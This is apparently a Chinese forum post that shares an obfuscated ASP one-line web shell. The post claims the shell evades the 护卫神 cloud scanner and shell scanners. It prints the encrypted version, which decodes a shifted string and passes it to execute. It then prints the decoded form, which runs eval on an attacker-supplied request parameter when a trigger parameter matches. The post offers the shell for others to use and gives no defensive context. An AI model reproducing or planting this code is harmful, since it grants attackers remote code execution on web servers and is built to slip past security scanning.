一句话木马加密 过护卫神云查杀系统 过shell扫描器

分享给大家 暂时未测试 大家自己用用看

大马的代码是简单加密了下的！很容易解开看见 是加密的一段代码

复制代码

代码如下:

<%
codeds="li#uhtxhvw+%{{%,#@%{%#wkhq#hydo#uhtxhvw+%knpmm%,#hqg#li"
execute (decode (codeds) )
function decode (coded)
on error resume next
for i = 1 to len (coded)
curchar = mid (coded, i, 1)
if asc (curchar) = 16 then
curchar = chr (8)
elseif asc (curchar) = 24 then
curchar = chr (12)
elseif asc (curchar) = 32 then
curchar = chr (18)
else
curchar = chr (asc (curchar) -3)
end if
decode = decode&curchar
next
end function
response.write(decode(codeds))
%>

很简单的加密，解开一看

复制代码

代码如下:

<%
if request("xx") ="x" then eval request("hkmjj") end if
%>

经过测试，发现过目前的护卫神云查杀系统，这个貌似用的人挺多的